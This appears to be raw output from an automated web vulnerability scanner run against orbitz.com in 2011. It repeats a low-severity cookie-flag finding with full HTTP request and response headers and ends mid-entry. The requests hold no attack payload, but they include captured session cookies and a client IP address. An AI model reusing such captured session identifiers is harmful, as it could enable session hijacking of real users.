The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/Home?reset=true&z=2eb6&r=9 HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=C4FA721F0918D48EB0461750E018E375; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:22 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 175809
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/InitDealEdit?fromDealsPage=true&z=2eca&r=t HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=B14F9784369BDA42B899F65B9ECC9BCF; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:11:39 GMT Content-Length: 41738
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmln ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/PartnerTracking?partnerUrl=TRAVELERUPDATE HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Set-Cookie: OSC=3CAFC1764B7F8E6FA6842EB8D55CDFBA; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ Set-Cookie: partnerVisit=8162e4639; Domain=.orbitz.com; Path=/ Set-Cookie: partnerStamp=21611046; Domain=.orbitz.com; Path=/ Set-Cookie: owt=0; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Location: http://updates.orbitz.com Content-Type: text/html Content-Length: 0 Date: Wed, 02 Feb 2011 16:06:20 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/PrepareActivitiesHome?z=2ebc&r=f HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=DAA865414B3F6E058AA17586FF6E5F54; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:27 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 43692
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transition ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/PrepareDealsHome?z=2ebd&r=g HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=7792E3066C693DCF4AE33C8512720DC7; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:28 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 113149
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-t ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/PrepareFlightsTab?z=2eb9&r=c HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=8CBB5C5D3F872AB64B59A20929B92C0D; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Set-Cookie: DataPersistence=||||||||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|||mm/dd/yy|||||||||mm/dd/yy|mm/dd/yy||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||advanced|; Domain=.orbitz.com; Expires=Tue, 28-Jan-2031 16:06:25 GMT; Path=/ Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:25 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 156645
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/PrepareFlightsTab&type=el_dp HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/PrepareSearchResult HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=1B30AACC6B4556110C9686DE7436274A; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ Content-Type: text/html Date: Wed, 02 Feb 2011 16:11:52 GMT Content-Length: 175717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/PrepareVacationsHome?z=2eb7&r=a HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=B95023C24A6297BB2A97C5E41C0E2856; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:24 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 112238
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transiti ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
